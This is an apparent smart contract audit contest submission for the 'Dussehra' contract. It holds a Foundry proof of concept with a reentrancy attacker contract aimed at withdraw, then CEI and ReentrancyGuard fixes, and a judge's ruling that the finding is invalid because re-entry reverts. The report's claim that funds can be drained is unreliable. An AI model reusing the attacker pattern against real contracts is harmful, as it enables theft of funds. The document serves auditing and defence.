First Flight #17: Dussehra
First Flight #17
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: low
Invalid

Reentrancy Exploit Possible in `Dussehra::Withdraw` due to the function not following CEI

AuditorNate

Summary

A reentrancy exploit is possible within the Dussehra:: Withdraw function due to the function not following the strucutre of CEI (Check, Effects, Interactions) the external call is made before the state being changed, therefore making the attack possible.

Vulnerability Details - My POC Below

To correctly test and verify, please do the following.

  1. Import the following library into Dussehra.t.sol - import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";

Copy and paste the following test and malicious contract to verify the reentrancy attack is possible.

function test_reentrancyAttackOnWithdraw() public {
// Set up initial conditions
vm.warp(1728691199); // Set time just before the selection period ends
​
// Create participants and mint NFTs
vm.startPrank(player1);
vm.deal(player1, 1 ether);
console.log("Player1 initial balance:", address(player1).balance);
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
vm.stopPrank();
​
vm.startPrank(player2);
vm.deal(player2, 1 ether);
console.log("Player2 initial balance:", address(player2).balance);
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
console.log("Player2 entered with 1 ether");
vm.stopPrank();
​
// Increase values of participants before selecting Ram
vm.startPrank(player1);
console.log("Increasing values for Player1");
choosingRam.increaseValuesOfParticipants(0, 1);
vm.stopPrank();
​
vm.startPrank(player2);
console.log("Increasing values for Player2");
choosingRam.increaseValuesOfParticipants(1, 0);
vm.stopPrank();
​
// Deploy the malicious contract and make it a participant
Malicious malicious = new Malicious(address(dussehra));
vm.deal(address(malicious), 1 ether);
console.log("Malicious contract deployed and funded");
​
vm.startPrank(address(malicious));
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
vm.stopPrank();
​
// Move time to the selection period
vm.warp(1728691201);
​
// Select Ram
vm.startPrank(organiser);
choosingRam.selectRamIfNotSelected();
vm.stopPrank();
​
// Confirm the malicious contract is RAM
assertEq(choosingRam.selectedRam(), address(malicious));
console.log("Malicious contract confirmed as Ram");
​
// Execute killRavana to simulate the malicious behavior
vm.startPrank(address(malicious));
console.log("Malicious contract killing Ravana");
dussehra.killRavana();
vm.stopPrank();
​
uint256 initialBalance = address(dussehra).balance;
uint256 ramWinningAmount = dussehra.totalAmountGivenToRam();
console.log("Dussehra initial balance:", initialBalance);
console.log("Amount given to Ram:", ramWinningAmount);
​
// Start the attack
vm.startPrank(address(malicious));
console.log("Starting attack");
malicious.attack();
vm.stopPrank();
​
// Check if reentrancy succeeded
​
assertEq(address(dussehra).balance, initialBalance - ramWinningAmount, "Reentrancy attack failed");
}
}
​
contract Malicious is IERC721Receiver {
address public dussehra;
uint256 public stolenAmount;
​
constructor(address _dussehra) {
dussehra = _dussehra;
}
​
// This function is called whenever an ERC721 token is transferred to this contract
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data)
external
override
returns (bytes4)
{
// Returning this value indicates the contract accepts the NFT
console.log("Received token ID:", tokenId);
return this.onERC721Received.selector;
}
​
function attack() external {
console.log("Executing attack...");
Dussehra(dussehra).withdraw();
}
​
receive() external payable {
console.log("Received ether:", msg.value);
if (address(dussehra).balance > 0) {
console.log("Re-entering withdraw...");
Dussehra(dussehra).withdraw();
}
}
}

Impact

High impact, as a malicious actor can essentially drain the entire Dussehra contracts of funds.

Tools Used

Slither, manual analysis and chat gpt

Recommendations

function withdraw() public RamIsSelected OnlyRam RavanKilled {
if (totalAmountGivenToRam == 0) {
revert Dussehra__AlreadyClaimedAmount();
}
uint256 amount = totalAmountGivenToRam;
+ totalAmountGivenToRam = 0; //State is noW updated prior to external call being made
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Failed to send money to Ram");
- totalAmountGivenToRam = 0;
}
​

Importing and then inheriting Openzeppelin's Reentrancy Guard contract, further protects this contract from reentrancy attacks

`import "@openzeppelin/contracts/security/ReentrancyGuard.sol";`
`contract Dussehra is ReentrancyGuard {`

Then making Dussehra::withdraw Non Rentrant would assist in further protecting this function from the reentrancy exploit.

function withdraw() public RamIsSelected OnlyRam RavanKilled nonReentrant {
if (totalAmountGivenToRam == 0) {
revert Dussehra__AlreadyClaimedAmount();
}
​
uint256 amount = totalAmountGivenToRam;
totalAmountGivenToRam = 0;
​
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Failed to send money to Ram");
}
Updates

Lead Judging Commences

bube Lead Judge over 1 year ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
Assigned finding tags:

Invalid - reentrancy in withdraw

The `withdraw` function sends the given amount to Ram. If the attacker calls the `withdraw` function again before the state variable is changed, the function will revert because there are no more funds in the contract. This reentrancy has no impact for the protocol. It is recommended to follow the CEI pattern, but this is informational.

AuditorNate Submitter
over 1 year ago
bube Lead Judge
about 1 year ago
bube Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
Assigned finding tags:

Invalid - reentrancy in withdraw

The `withdraw` function sends the given amount to Ram. If the attacker calls the `withdraw` function again before the state variable is changed, the function will revert because there are no more funds in the contract. This reentrancy has no impact for the protocol. It is recommended to follow the CEI pattern, but this is informational.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.